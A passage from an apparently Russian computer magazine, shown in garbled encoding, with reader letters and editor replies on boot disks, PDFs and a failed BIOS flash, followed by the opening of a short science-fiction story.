òåâóõ :). Ìîÿ ñòàòüÿ áûëà òîëüêî «Òÿíåì�ïîòÿíåì. Ìàíóàë ïî ïðîòÿæêå ñåòè â æèëîì äîìå», è, äëÿ òîãî ÷òîáû åå òîëêîì îò-
ðåäàêòèðîâàòü è äîïîëíèòü, ÿ áðàë èíòåðâüþ ó ñâîåãî ïðîâàéäåðà, êîòîðûé, êñòàòè, ìåíÿ ïîëíîñòüþ óäîâëåòâîðÿåò :). À åñ-
ëè îíè òåáå òàê íå íðàâÿòñÿ, ïî÷åìó íå óéäåøü? Àëüòåðíàòèâ ìíîãî, è xDSL â òîì ÷èñëå. È ýòî... ðàçäåëà «Çàïàäëîñòðîå-
íèå» ó íàñ óæå î÷åíü äàâíî íåò (â Ñïåöå íèêîãäà è íå áûëî: áûë íîìåð, ïîñâÿùåííûé ýòîìó äåëó - ïðèì. AvaLANche'à).
Âûðîñëè ìû, òîë÷êè íå áüåì, áàáóøåê íå øóãàåì. Òàê, îçîðóåì ïî ìåëî÷àì, íî óæå îá ýòîì íå ïèøåì :). 

»

FROM: ÈÃÎÐÜ ÑÀËÜÍÈÊÎÂ [I_SALNIKOV@MAIL.RU]
SUBJECT:

Óâàæàåìàÿ ðåäàêöèÿ! ß çèìîé ïðèîáðåë êîìï è ïåðâîå âðåìÿ áûë ñïîêîåí, íà÷àë ïîêóïàòü âàø æóðíàë. Íî â íà÷àëå ëåòà êóïèë íîóòáóê - ñ òåõ
ïîð íå ðàññòàþñü. Â ñåíòÿáðå êóïèë ïåðâûé ðàç âàø ÑÏÅÖ è íå ìîãó ïîíÿòü, ÷òî çíà÷èò «ÇÀÃÐÓÇÎ×ÍÛÉ äèñê» [íàïèñàíî íà CD]. ÏÎÌÎÃÈÒÅ ËÎ-

ÕÓ... ñêèíüòå ñïðàâî÷êó íà ìûëî, çàðàíåå ÑÏÀÑÈÁÎ.

Ñ óâàæåíèåì, Èãîðü.

ÎÒÂÅÒ:
À ìû îòêóäà çíàåì, ÷òî òàêîå «çàãðóçî÷íûé äèñê»? Ýòî SkyWriter çíàåò, ÷òî òàêîå «çàãðóçî÷íûé äèñê», ïîñêîëüêó îí ðå-

äàêòîð äèñêà è åãî, ñòàëî áûòü, äåëàåò. Òàê ÷òî âñå âîïðîñû ê íåìó. Íî åñëè áû òû ïîïðîáîâàë ïèõíóòü åãî â CD-ROM, âûñòà-
âèòü â BIOS�å çàãðóçêó ñ CD è ïåðåãðóçèòüñÿ, ìîæåò áûòü, ê òåáå áû ñâàëèëîñü ÇÍÀÍÈÅ :).

»
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FROM: ÊÀÑÓÌÎÂ ÌÈÕÀÈË [PULSIK@INBOX.RU]
SUBJECT: 

Ïðèâåò.
ß âîò ïî êàêîìó âîïðîñó. Õì, äóìàþ, âû ñìîæåòå ìíå

ïîìî÷ü. Îòñêàíèðîâàë ÿ IP�øíèê. Íó, äîïóñòèì,
www.megaxakepsite.ru (111.222.333.444). È íàøåë òàì 4 îòêðûòûõ
ïîðòà: 21, 22, 25 è 80. Õì... Íó à äàëüøå-òî ÷åãî ìíå ñ íèìè äåëàòü?!
Íó, ïðîñêàíèðîâàë ÿ è ïîëó÷èë ñïèñîê ïîðòîâ: [skipped].
Ýòî íåáîëüøîé åãî ôðàãìåíò. Âåñü ñïèñîê çàíèìàåò 10 ëèñòîâ. À
äàëüøå-òî ÷åãî?! Êàê ÷òî-òî ïðîñìîòðåòü íà ñåðâåðå, êàê âîîáùå
äîñòóï-òî ê ðåñóðñàì ïîëó÷èòü? Áóäüòå äîáðû, îáúÿñíèòå,
ïîæàëóéñòà, ÷òî ê ÷åìó. Õîðîøî? Çàðàíåå áëàãîäàðåí.

Ñ èñêðåííèì óâàæåíèåì, Sny.

ÎÒÂÅÒ:
Êàê - ÷òî äåëàòü? Íè÷åãî íå äåëàòü. Òû òåïåðü êðóòîé

âçëîìùèê, è âñå òàêîå :). Îòâå÷àþ â òðåòèé ðàç � íå
ìîãó â îäíîì ïèñüìå èçëàãàòü òîëñòûå ìàíóàëû, òåì
áîëåå ÷òî ÿ ñàì íè÷åì òàêèì íå çàíèìàþñü è íèêàêèõ
òîëñòûõ ìàíóàëîâ íå ÷èòàþ. Âîò, íàïðèìåð, íîìåð ýòîò
ïî÷èòàé, à çàîäíî ïî÷èòàé Õàêåð, îñîáåííî ðóáðèêó
ÂÇËÎÌ, ïîòîìó ÷òî åæåìåñÿ÷íî, åæåäíåâíî,
åæåñåêóíäíî Íèêèòà Êèñëèöèí äóìàåò â íåé î òåáå! È,
êàê âñåãäà, Ãóãë â ïîìîùü!

»

FROM: PHEONIX@EMAIL.SU
SUBJECT: ÑÒÀÒÜß

Çäðàâñòâóéòå!
Õîòåë áû ðàçìåñòèòü ó âàñ ñòàòüþ ïî ïîâîäó íîâîé òåõíîëîãèè

íà íîâîé êîìïüþòåðíîé ïëîùàäêå. Îá ýòîé íîâèíêå åùå íèêàêîé æóð-
íàë â Ðîññèè íå ïèñàë 100%, è âû áóäåòå ïåðâûìè. ×òî ìíå íóæíî äëÿ
íà÷àëà çíàòü:
1) Êàêîé òèðàæ ó æóðíàëà.
2) Êòî äîëæåí ïèñàòü ñòàòüþ: ÿ èëè âû.
3) Êîíå÷íî æå, íóæíî ñëåäóþùåå: ññûëêó íà ñàéò, ãäå ÿ ýòî çà÷èòàë, ìîé
íèê, î òîì, ÷òî ÿ íàïèñàë ýòó ñòàòüþ.
4) Òàì äîëæíà áûòü ôîòîãðàôèÿ ýòîãî óñòðîéñòâà.
5) Âîçìîæíî ëè ïîìåñòèòü íà ëèöåâîé ñòîðîíå æóðíàëà ðèñóíîê ýòîé øòó-
êè èëè òîëüêî âíóòðè æóðíàëà, èëè âîîáùå êàê âîçìîæíî., åñëè ýòî âîçìîæíî,
òî åñòü âîçìîæíî ëè âîîáùå îïóáëèêîâàòüñÿ â âàøåì æóðíàëå ñ ïîäîáíûìè
óñëîâèÿìè, åñëè âîçìîæíî, òî ñêàæèòå, ñ êàêèìè èìåííî. 
Òåïåðü, ÷òî îò ìåíÿ òðåáóåòñÿ, åñëè ýòî âîçìîæíî, òî åñòü âîçìîæíî ëè âîîá-
ùå îïóáëèêîâàòüñÿ â âàøåì æóðíàëå ñ ïîäîáíûìè óñëîâèÿìè, åñëè âîçìîæ-
íî, òî ñêàæèòå, ñ êàêèìè èìåííî. Òåïåðü ÷èñòî ìîå ìíåíèå, íåçàâèñèìîå íè îò
÷åãî. Êîìïüþòåð, ñäåëàííûé ïî íîâîé òåõíîëîãèè, ñîçäàí, âèäàòü, ñïåöèàëüíî
äëÿ ïðîãðàììåðîâ, òî åñòü ìîæíî ñàìó ïåðåïèñàòü ÎÑ è ïèñàòü ïðèëîæåíèÿ íà
Ñ-ïîäîáíîì ÿçûêå! Åñëè ÿ íå òóäà íàïèñàë, òî ñîððè, ñêàæèòå, êóäà íóæíî.

ÎÒÂÅÒ:
Íèêàêîå íå ñîððè, ïîòîìó ÷òî òû, èìõî, çëîé ñïàììåð

:). Èñòîðèÿ ýòîãî ïèñüìà âîñõîäèò ê òåì âðåìåíàì, êîã-
äà ìíå åãî ôîðâàðäíóë b00b1ik (ðåäàêòîð PC-ZONE
Õàêåðà) êàê ðåäàêòîðó Êîäèíãà. ß íè÷åãî íå ïîíÿë è
ñïðîñèë ó Áóáëà, íà êàêîé ôèã ìíå ñäàëîñü ýòî ïèñü-
ìî, íà ÷òî îí íåöåíçóðíî îòâåòèë: «À íà [censored]
ìíå îíî?» Èíà÷å ãîâîðÿ, ñ ïîìîéêîé îí ìîé ìûëüíèê
ïåðåïóòàë :). È ïðàâäà, ÷òî õî÷åò ÷åëîâåê, êîòîðûé ãî-
âîðèò î êàêîé-òî êðàéíå ñîìíèòåëüíîé òåõíîëîãèè, íî
óæå õî÷åò ôîòêó â ñòàòüå, ôîòêó íà îáëîæêå è òèðàæ
æóðíàëà? Âîîáùå-òî, ïðåæäå ÷åì ÷òî-òî õîòåòü, íàäî:
à) ðàññêàçàòü î òåìå ñòàòüè è îáîñíîâàòü åå àêòóàëü-
íîñòü; á) äîêàçàòü ìíå, ÷òî áåç ýòîé òåìû íàø æóðíàë
ïðîñòî íå âûæèâåò. Åñëè ñòàòüÿ óæå åñòü, òî íàäî ïðè-
ëîæèòü åå â àòòà÷, ìåæäó ïðî÷èì, â Êîäèíã ÿ óæå âçÿë
îêîëî 2 ñòàòåé ñî ñòîðîíû, è íàðîä îêàçàëñÿ î÷åíü
äîâîëåí. Òàê ÷òî ðàáîòà â æóðíàëå � ýòî ñóòü îáû÷íàÿ
ðàáîòà: ðåçþìå, ïîðòôîëèî, âñå äåëà. À óæ íàñ÷åò
âîïðîñà, êòî áóäåò ïèñàòü ñòàòüþ � òû èëè ìû, ýòî ðåñ-
ïåêò. Õîðîøèé âîïðîñ :).

»

FROM: MAUS [MAUS@KOLCH.ELCOM.RU]
SUBJECT: 

Äîáðûé äåíü!
Ðåáÿòà, âû ìîëîäöû!!! Æóðíàë Ñ Ó Ï Å Ð!!!!!

Ïîäñêàæèòå ñëåäóþùåå: ÿ ïîìåñòèë íà Ðàáî÷èé ñòîë íîìåðà æóðíà-
ëîâ, êîòîðûå áûëè ïîëîæåíû âàìè íà äèñê, à îíè â ôîðìàòå PDF. ß
íèêàê íå ìîãó èõ ïðî÷èòàòü. Êàê ìíå èõ ïåðåêîäèðîâàòü? Â êàêèõ
÷èñëàõ îáû÷íî âûõîäÿò íîâûå íîìåðà æóðíàëà?
Ñïàñèáî çà âàø òðóä, âñÿ÷åñêèõ óñïåõîâ âàì!!!

Ñ óâàæåíèåì, Îëåã.

ÎÒÂÅÒ:
Âîò ýòî ïðàâèëüíîå ïèñüìî! Ïðîøó çàìåòèòü, ïèñàë ÿ

åãî íå ñàì ñåáå :). Äà, ìû äåéñòâèòåëüíî ìîëîäöû, äåëà-
åì ñóïåðæóðíàë, òîëüêî âîò, îêàçûâàåòñÿ, íåïîíÿòíî èç
íåãî, êàêîé ïðîãîé îòêðûâàòü .doc-ôàéëû, êàê óáðàòü ñî
ñòîëà êîðçèíó è êàê ñìåíèòü îáîè Ðàáî÷åãî ñòîëà. À òàê
- êðóòîé æóðíàë ìû äåëàåì :). Åñëè ÷åñòíî, òî ðóáðèêà
«e-ìûëî» â ýòîì íîìåðå ïîõîæà íà òåõïîääåðæêó ôîðó-
ìà ëîêàëû: «ãäå âçÿòü è ÷î òàêîå ôàåðâîë è àíòèâèðóñ»,
«ïà÷èìó êàïìïüþòûð ñàì âûêëþ÷àåòñÿ» è ò.ä. Ïðåäëà-
ãàþ ïèñàòü íàì áîëüøå è ÷àùå :), ìîæíî ïðîñòî ïðèçíà-
âàòüñÿ íàì â ëþáâè, ìîæíî êîíñòðóêòèâíî ïèñàòü, ÷òî
íðàâèòñÿ, ÷òî íå íðàâèòñÿ è ÷òî õî÷åòñÿ, êàêèå òåìû
Ñïåöà òû áû õîòåë âèäåòü (àðãóìåíòèðîâàííî), è ò.ä.
Èíà÷å ãîâîðÿ, ïðåäëîæåíèÿ ïî æóðíàëó. ×åãî óæ ïðî-
ùå: «ß áû õîòåë Ñïåö ïî ìåãàõàðäêîðíîìó íèçêîóðîâíå-
ìó ïðîãðàììèíãó, ïîòîìó ÷òî âñå, êòî ïèøåò íà Delphi,
ñóòü ëàìåðû. Íàïðèìåð, ÿ õîòåë áû âèäåòü òàì òàêèå òå-
ìû ñòàòåé: (ñïèñîê èç êó÷è òåì)», - èëè: «Ìíå íå íðàâèò-
ñÿ ñòàòüÿ (òàêàÿ-òî)? ïîòîìó ÷òî åå ïèñàë ëàìåð, à ëàìå-
ðîì îí ÿâëÿåòñÿ, ïîòîìó ÷òî: (ñïèñîê áàãîâ ñòàòüè)». À
òàêæå: «ß î÷åíü ëþáëþ ãëàâíîãî ðåäàêòîðà Àâàëàí÷à,
ïîòîìó ÷òî ÿ îáîæàþ ëèëîâûõ íåãðîâ-æóðíàëèñòîâ», «ß
îáîæàþ Dr. Klouniz, ïîòîìó ÷òî ÿ è åñòü Dr.Klouniz», «ß
õî÷ó, ÷òîáû ìíå íà Íîâûé Ãîä ïîäàðèëè Ãîðëà, ïîòîìó
÷òî îí òàêîé ìèëûé, ÿ î÷åíü îãîð÷óñü, åñëè íå íàéäó
Ãîðëà íà äèñêå â äåêàáðüñêîì íîìåðå». Íó, òåìû åñòü?
Âïåðåä, âàÿòü ïèñüìà :).

»

FROM: ZHULIK_@MAG.SU
SUBJECT: 

Çäðàâñòâóéòå! Íà äíÿõ ýêñïåðèìåíòèðîâàë â BIOS: ïûòàëñÿ ðàçîã-
íàòü êîìï, è ïðîèçîøåë îáëîì! Âêëþ÷àþ êîìï, è ñðàçó ðàçäàþòñÿ

ïèñêè èç ñèñòåìíèêà! Òðåáóåò ñèñòåìíóþ äèñêåòó, âñòàâëÿþ, à äàëåå òðåáó-
åò ôàéë awdflash.exe, íî åãî íåò ó ìåíÿ, ó äðóãà òîæå èñêàë! Äàæå â BIOS
äîñòóïà íåò! ×òî ýòî çà ôàéë, ãäå ðàçäîáûòü, èëè ÿ íàêðûë BIOS? Êîìï íà
ãàðàíòèè! Ïëèç, îòâåòüòå, íà âàñ âñÿ íàäåæäà! Çàðàíåå áëàãîäàðåí!

ÎÒÂÅÒ:
Íå ïîíèìàþ, ÷òî îáùåãî ó ðåäàêöèè XS ñ ïîëåòåâøèì

ÁÈÎÑ�îì! Òðåáóåò îí ïîòîìó, ÷òî òû ïðîøèë êðèâîé
îáðàç, íå ñîîòâåòñòâóþùèé ðàçìåðó ôëåøêè. Êàê òû åå
ïðîøèâàë, ìíå íåâåäîìî, íî ïîäîçðåâàþ, ÷òî íå «awd-
flash.exe filename.bin», à êàê-òî õèòðåå. Ðàçäîáûòü ôàéë
ìîæíî, òîëüêî îí òåáå óæå íå ïîìîæåò. Çàòóñóéñÿ â
ñâîþ ãàðàíòèéíóþ ìàñòåðñêóþ, è êàê ïîåòñÿ â
áåññìåðòíîé «Ñèôèëèàäå»: «È ó îêîøêà â êàáèíåòå,
ïîäúåìëÿ âçîðû â íåáåñà, òû áóäåøü êëÿñòüñÿ, ÷òî
áûâàþò íà ñâåòå âñå æå ÷óäåñà». Âåðíåå, ãíàòü ïðî òî,
÷òî ñëîìàëîñü ñàìî, íå ñîâåòóþ :), ïîñêîëüêó êðèâûå è
øàëîâëèâûå ðóêè âèäíî ïî ãëàçàì, íî ìíîãî äåíåã âçÿòü
íå äîëæíû. Íî ñàì ëó÷øå íè÷åãî íå äåëàé, òû óæå âñå
÷òî ìîã, ñäåëàë.

Ñîâåò îò AvaLANche'à: Òåáå íóæíî çàíîâî ïðîøèòü
BIOS, ïðè÷åì ïðîøèòü íîðìàëüíî. Âñå íåîáõîäèìîå äëÿ
ýòîãî åñòü íà ñàéòå ASUS'à (www.asus.com.tw). Äèñêåòó
òðåáóåò â íàäåæäå, ÷òî íà íåé áóäåò ëåæàòü ïðîãðàììà-
ïðîøèâàëüùèê (awdflash.exe) è êîððåêòíûé îáðàç BIOS.

»



SPECIAL
ACCESS ONLY

Niro (niro@real.xakep.ru)



- Âàøà ôàìèëèÿ?
- Âåðáèöêèé.
- Âû îïîçäàëè.
- Áûâàåò�
- Ñþäà íå ïðèíÿòî îïàçäû-

âàòü.
- Ïðîøó ïðîùåíèÿ.
- Áîã ñ âàìè, þíîøà. Ïðîõî-

äèòå. Ñêîëüêî åùå ðàç â ñâîåé
æèçíè âû îïîçäàåòå íà ãîðàçäî
áîëåå âàæíûå ìåðîïðèÿòèÿ� Õî-
òÿ ïî ìíå, òàê êóäà óæ âàæíåå.

Ïàðåíü, ñ êîòîðûì ÷åðåç îòêðûòóþ íàïîëîâèíó äâåðü ðàçãîâàðèâàë ÷åëî-
âåê â ñåðîì ñòðîãîì êîñòþìå, ïåðåøàãíóë ïîðîã è îêàçàëñÿ âíóòðè.

Îí áûë çäåñü âïåðâûå. Â÷åðà åìó èñïîëíèëîñü øåñòíàäöàòü ëåò; áóðíûé
ïðàçäíèê îòãðåìåë â êâàðòèðå â ïðèñóòñòâèè áîëüøîãî ÷èñëà äðóçåé ïî øêî-
ëå è ðîäèòåëüñêèõ ïðèÿòåëåé. Îí âïåðâûå â æèçíè ïîïðîáîâàë â÷åðà øàìïà-
íñêîå (õîòÿ òàéêîì îò ðîäèòåëåé óæå ïèë ïèâî, è íå ðàç). Óòðîì ìàòü ïîäíÿëà
åãî äîñòàòî÷íî ðàíî, íàïîìíèâ î ñâÿòîé îáÿçàííîñòè êàæäîãî, êòî ïåðåõîäèò
îòìåòêó «øåñòíàäöàòü» - îí ïðîñòî íå ìîã îïîçäàòü, íî, åäâà íàäåâ áðþêè,
îí ïëþõíóëñÿ â êðåñëî çà êîìïüþòåðîì, ÷òîáû ïðîâåðèòü ïî÷òó íà íàëè÷èå â
íåé ïîçäðàâëåíèé îò òåõ, êòî æèë â äðóãèõ ÷àñîâûõ ïîÿñàõ. Ïî÷òû áûëî ìíî-
ãî � âû÷èñòèâ âåñü ñïàì, îí ïðèíÿëñÿ ðàçãðåáàòü ïîæåëàíèÿ è ïîõâàëû,
íàòêíóëñÿ íà íåñêîëüêî èíòåðåñíûõ ññûëîê, ïðèñëàííûõ âìåñòî ïîäàðêîâ..
Êîðî÷å, îí çàâèñ íàìåðòâî è î÷íóëñÿ òîëüêî òîãäà, êîãäà ìàòü, ïîñ÷èòàâøàÿ,
÷òî îí óæå óøåë, çàñòóêàëà åãî çà ýòèì çàíÿòèåì.

Êðèêó áûëî! Îíà âûòîëêàëà åãî â êîðèäîð, êèíóâ ñëåäîì êóðòêó è äàæå íå
îáðàòèâ âíèìàíèÿ íà òî, ÷òî îí íå óñïåë íàäåòü ðóáàøêó. Êîðî÷å, âûãëÿäåë
îí, âîéäÿ â êàáèíåò, äîñòàòî÷íî ãëóïî - äæèíñà íà ãîëîå òåëî, âçúåðîøåííûå
âîëîñû, âèíîâàòûé âçãëÿä. Íî ÷åëîâåê, ïðèíÿâøèé åãî, ñäåëàë âèä, ÷òî íå
çàìå÷àåò êîå-êàêèå ñòðàííîñòè â îäåæäå; åìó óêàçàëè íà ñòóë, ïîïðîñèëè
ïðåäúÿâèòü ïàñïîðò (êàê óäà÷íî, ÷òî îí îêàçàëñÿ â êàðìàíå êóðòêè, ìàìà ïîñ-
òàðàëàñü!)

- Àëåêñåé?
Âåðáèöêèé êèâíóë, ðàçãëÿäûâàÿ èíòåðüåð íåçíàêîìîãî ïîìåùåíèÿ.
- Âû çíàåòå, çà÷åì âû çäåñü?
- Äà. Ïðàâäà, òîëüêî ïîíàñëûøêå�
×òî-òî åìó çäåñü íå íðàâèëîñü. Îí ïðåäñòàâëÿë ñåáå âñå èíà÷å � îí áûë

óâåðåí, ÷òî âñå ýòî áóäåò áîëüøå íàïîìèíàòü áîëüíèöó, íåæåëè îôèñ. Åãî
ïðîñòî îáÿçàíû áûëè âñòðåòèòü ëþäè â áåëûõ õàëàòàõ, âçÿòü êàêèå-òî àíàëè-
çû, îùóïûâàòü åãî ñî âñåõ ñòîðîí, ïîñ÷èòàòü ïóëüñ, èçìåðèòü äàâëåíèå� À
åùå � ýòîãî îí áîÿëñÿ � ñïðîñèòü: «Â÷åðà óïîòðåáëÿëè àëêîãîëü?» Íî ïîòîì
îí âñïîìíèë, ÷òî áîêàë øàìïàíñêîãî åìó íàëèëà ñâîåé ðóêîé ìàìà, è ïîäó-
ìàë, ÷òî óæ îíà-òî â òî÷íîñòè äîëæíà áûëà çíàòü âñå óñëîâèÿ.

×åëîâåê êîå-÷òî ïðîñìîòðåë íà êîìïüþòåðå, îòîðâàë âçãëÿä îò ýêðàíà è
ïîñìîòðåë íà Âåðáèöêîãî.

- Âû ÷òî, âîëíóåòåñü?
- ×åñòíî? Äà.
- Ïî÷åìó?
- Íó, çíàåòå�
- Ïîíÿòíî. Âû, íàâåðíîå, ïðåäñòàâëÿëè ñåáå ýòî êàê âèçèò ê âðà÷ó. ×òî

îáÿçàòåëüíî áóäåò áîëüíî, íåïðèÿòíî, êàêèå-òî èãëû, ïðîáèðêè, ïðèñîñêè,
êîíòàêòû...

Àëåêñåé ñìóòèëñÿ îòòîãî, ÷òî ÷åëîâåê óãàäàë åãî ìûñëè ñ ïîðàçèòåëüíîé
òî÷íîñòüþ.

- Âû ïîêðàñíåëè, Âåðáèöêèé. Âèäèìî, ÿ óãàäàë.
- Äà.
- Çíàåòå, ïî÷åìó? Ïîòîìó ÷òî íà äåñÿòü ìîë÷àëèâî áîÿùèõñÿ åñòü âñåãäà

îäèí ðàçãîâîð÷èâûé. È ýòè ðàçãîâîð÷èâûå âñåãäà ãîâîðÿò îäíî è òî æå �
êîãäà ïðèõîäÿò ñþäà â ïåðâûé ðàç. Âîò óæå ïîòîì, êîãäà âñå èçâåñòíî�
Ìíîãèå ðóãàþòñÿ, òîðîïÿò ìåíÿ è ìîèõ ïîìîùíèêîâ, íåêîòîðûå êðàéíå ðàâ-
íîäóøíû � íî âîò â ïåðâûé ðàç âñå ÁÎßÒÑß. È ïðàâèëüíî.

- Ïî÷åìó?
- Âû íå ïîéìåòå, - ÷åëîâåê êëàöíóë ïàðîé êëàâèø, ïðîäîëæàÿ ñìîòðåòü â

ãëàçà Àëåêñåÿ. � È, ìíå êàæåòñÿ, ïîðà íà÷èíàòü. Íå ïåðåæèâàéòå, áîëüíî âàì
íå áóäåò. Ïðîöåäóðà çàéìåò âñåãî òðè-÷åòûðå ìèíóòû � è ýòî åùå ñàìàÿ
äëèííàÿ; êàæäûé ïîñëåäóþùèé ðàç âñå áóäåò åùå áûñòðåå�

Àëåêñåé ïîäíÿëñÿ ñî ñòóëà, îãëÿäåëñÿ ïî ñòîðîíàì, íå çíàÿ, ÷òî äåëàòü è
êóäà èäòè.

- Íå íàäî âñêàêèâàòü, ìîëîäîé ÷åëîâåê. Âû, îòÿãîùåííûé êèáåðíåòè÷åñ-
êèì âåêîì õàé-òåêà, îæèäàåòå óâèäåòü çäåñü ÷òî-òî âðîäå îãðîìíîãî êîìïüþ-
òåðíîãî òîìîãðàôà, â êîòîðûé âàñ ïîãðóçÿò, êàê â ãîðíèëî ïå÷è. Íó ïî÷åìó
âñåãäà èìåííî òàê?

Âåðáèöêèé ïîæàë ïëå÷àìè. Åìó íå÷åãî áûëî ñêàçàòü.

×åëîâåê âñòàë è óêàçàë Âåðáèöêîìó íà äâåðü. Îíè âûøëè â êîðèäîð,
ïðîøëè ïî íåìó íåñêîëüêî ïîâîðîòîâ, íå âñòðåòèâ íèêîãî íà ñâîåì ïóòè.

- Îáû÷íî íàðîäó çäåñü áîëüøå, - íå îáîðà÷èâàÿñü, ñêàçàë Àëåêñåþ ñîï-
ðîâîæäàþùèé. � Íî íà âñå åñòü òåîðèÿ âåðîÿòíîñòåé. Ïðîñòî â÷åðà äíåé
ðîæäåíèÿ áûëî íå òàê ìíîãî�

Âåðáèöêèé êèâíóë. Âíåçàïíî îíè îñòàíîâèëèñü � êîðèäîð êîí÷èëñÿ
äâåðüþ ñ êðèâîé íàäïèñüþ íà ëèñòå áóìàãè, ïðèêîëîòîì êàíöåëÿðñêîé êíîï-
êîé - «Ðàçãðóçî÷íàÿ ïëîùàäêà». ×åëîâåê õìûêíóë, ñîðâàë ëèñòîê è, ñêîìêàâ
åãî, ñóíóë â êàðìàí.

- Â ÷åì-òî îíè ïðàâû, - îáåðíóëñÿ îí ê Àëåêñåþ. � Ãðóç øåñòíàäöàòè ëåò
êàê, íå äàâèò íà ïëå÷è?

Âåðáèöêèé çàìîòàë ãîëîâîé è îáëèçàë ïåðåñîõøèå ãóáû. À ïîòîì îíè
âîøëè�

* * * * *
Áðàãèí ñíÿë î÷êè, ïîòåð ïåðåíîñèöó. Âñå áûëî íàïðàñíî. Îòâåòà íå ïîñ-

ëåäîâàëî.
- È ñïðàøèâàåòñÿ, çà÷åì òîãäà âñå?
Îí îãëÿäåëñÿ, óâèäåë ðÿäîì ñ ñîáîé åùå íåñêîëüêî ÷åëîâåê â ÷åðíûõ î÷-

êàõ, êîòîðûå øåâåëèëè ãóáàìè, ðàçãëÿäûâàÿ òî, ÷òî âèäåëè. Âñå-òàêè ñî ñòî-
ðîíû ýòî âñåãäà âûãëÿäåëî äîñòàòî÷íî ãëóïî�

- Êàê æå áûòü? � îòîéäÿ îò ñòåíû è ïðèñåâ íà îäíó èç ðåçíûõ ñêàìååê,
ñàì ñåáÿ ñïðîñèë Áðàãèí. � Òîëüêî Äàíèëà ìîã ðåøèòü ýòó ïðîáëåìó. Îí
âåäü è íà÷àë ïåðâûé, è ïðîäâèíóëñÿ äàëüøå âñåõ� È óøåë ïåðâûì.

Äîñòàâ ñèãàðåòó, Áðàãèí çàêóðèë, ñîâåðøåííî íå ÷óâñòâóÿ âêóñà è çàïàõà
òàáàêà. Ïîãîäà áûëà íå àõòè, ñîáèðàëñÿ äîæäü; ëþäè ó ñòåíû, ïðîäîëæàÿ
ðàçãîâàðèâàòü ñ íåâèäèìûìè ñîáåñåäíèêàìè, íàîùóïü èñêàëè â ñóìêàõ çîí-
òèêè. Çÿáêî ïåðåäåðíóâ ïëå÷àìè, Áðàãèí âñïîìíèë, ÷òî ñàì îí, ñêîðåå âñåãî,
ïîïàäåò ïîä ëèâåíü � çîíòèê îñòàëñÿ äîìà; îí î÷åíü òîðîïèëñÿ ñþäà, â î÷å-
ðåäíîé ïðåäñòàâèâ, êàê Äàíèëà îòâåòèò íà åãî âîïðîñ�

Íåäàðîì ñ÷èòàåòñÿ, ÷òî â âîïðîñå âñåãäà ñîäåðæèòñÿ ïîëîâèíà îòâåòà �
âîò è Áðàãèí íàïîëîâèíó ðàçîáðàëñÿ â ñèòóàöèè. Íî òîëüêî íàïîëîâèíó. Íå-
äîñòàþùóþ ÷àñòü äîëæåí áûë íàçâàòü Äàíèëà. Íó, åñëè íå íàçâàòü, òî õîòÿ
áû íàìåêíóòü. Ïðîñòî óêàçàòü íàïðàâëåíèå.

Âñå îêàçàëîñü áåñïîëåçíî. Òî, ÷òî ãîâîðèë Äàíèëà, áûëî ñîâåðøåííî íå-
èíòåðåñíî Áðàãèíó. Êàêàÿ-òî ÷óøü ïðî ïîãîäó, ïðî ðîäèòåëåé; ñïðîñèë êîå-
÷òî èç íîâîñòåé âûñîêèõ òåõíîëîãèé, ïîòîì ïîëåç â ïîëèòèêó.

Áðàãèí ñìîòðåë íà íåãî, íå èìåÿ ñèë îñòàíîâèòü. Äàíèëà ïðîñòî äîëæåí
áûë ïîãîâîðèòü, õîòÿ, íàñêîëüêî èçâåñòíî, ïðè íåïîñðåäñòâåííîì îáùåíèè
îáíîâëåíèÿ ïàìÿòè íå ïðîèñõîäèò � âñå çäåñü äåëàåòñÿ öåíòðàëèçîâàííî, â
çàâèñèìîñòè îò ãðóïï ïî èíòåðåñàì. Ïîëó÷àëñÿ çàêîëäîâàííûé êðóã � èíôîð-
ìàöèÿ, íóæíàÿ Áðàãèíó, íà ñâåò íå ïîÿâëÿëàñü, óéòè îí íå ìîã õîòÿ áû èç
âåæëèâîñòè, à ëþáîå åãî ñëîâî ëèøü ïîäñòåãèâàëî Äàíèëó ïðîäîëæàòü áîë-
òàòü íè î ÷åì.

Ìîæíî áûëî, êîíå÷íî, ïðîñòî ñíÿòü î÷êè, ñäåëàòü âèä, ÷òî ñ íèìè ÷òî-òî
ñëó÷èëîñü � ÷òîáû ïðîèçîøëî îòêëþ÷åíèå. Ïðè îòñóòñòâèè êîíòàêòà ñ îäíîé
ñòîðîíû âòîðàÿ àâòîìàòè÷åñêè ïðåêðàùàëà îáìåí äàííûìè. Íî Áðàãèí âñåã-
äà áîÿëñÿ ïîäîáíîãî âàðèàíòà � îí äóìàë, ÷òî âñå-òàêè ãäå-òî òàì, â ãëóáèíå
âñåé ýòîé ìàõèíû, íåñìîòðÿ íà òî ÷òî áàçà çàêðûòà äëÿ çàïèñè, îòïå÷àòàåòñÿ
åãî íåâåæëèâûé ïîñòóïîê, è â ñëåäóþùèé ðàç îò Äàíèëû âîîáùå íå áóäåò
íèêàêîé ïîëüçû.

À âåäü åñëè ó íèõ íå ïîëó÷èòñÿ � çíà÷èò, íå ïîëó÷èòñÿ íè ó êîãî.
- ×åðò!.. � îòøâûðíóë îêóðîê â ñòîðîíó Áðàãèí, ïîäíÿëñÿ ñî ñêàìåéêè è

ðåøèòåëüíî ïîäîøåë ê ñòåíå. � Âåäü îí æå çíàë îòâåò, ÿ óâåðåí!
Îí çàñóíóë ðóêó â êàðìàí, óæå ñîáèðàÿñü íàäåòü î÷êè, ÷òîáû áîëåå ðåøè-

òåëüíî è íàñòîé÷èâî ñïðàøèâàòü Äàíèëó, íî ÷òî-òî åãî îñòàíîâèëî. Íèêîãäà
åùå îí íå äåëàë ýòîãî áîëüøå îäíîãî ðàçà â íåäåëþ, à óæ íà äâà ðàçà â äåíü
ó íåãî òî÷íî íå õâàòèò äóøåâíûõ ñèë.

- Õîðîøî, - ñêàçàë Áðàãèí âñëóõ. � ß åùå ïðèäó. Ïîêà ó ìåíÿ åñòü êîå-
÷òî, î ÷åì íå çíàþò ðåáÿòà. Ñäåëàþ âèä, ÷òî ýòî ìíå ñîîáùèë Äàíèëà. Òåì
áîëåå ÷òî ÿ âû÷èòàë ýòî â åãî äíåâíèêå� Íåìíîãî ïîäïðàâèë, êîå-÷òî â êîð-
íå èçìåíèë. Âñå-òàêè îí áûë ãåíèé� Âåäü ñóäÿ ïî ïî÷åðêó, îí çàïèñàë âñå
ýòî îäíîìîìåíòíî � è ñäåëàë òîëüêî äâå îøèáêè, ïðè÷åì àáñîëþòíî íå êðè-
òè÷åñêèå, òàê, ìåëî÷ü. Âîò òîëüêî ïîñëå âñåãî òîãî, ÷òî ñëó÷èëîñü, ïðîøëî
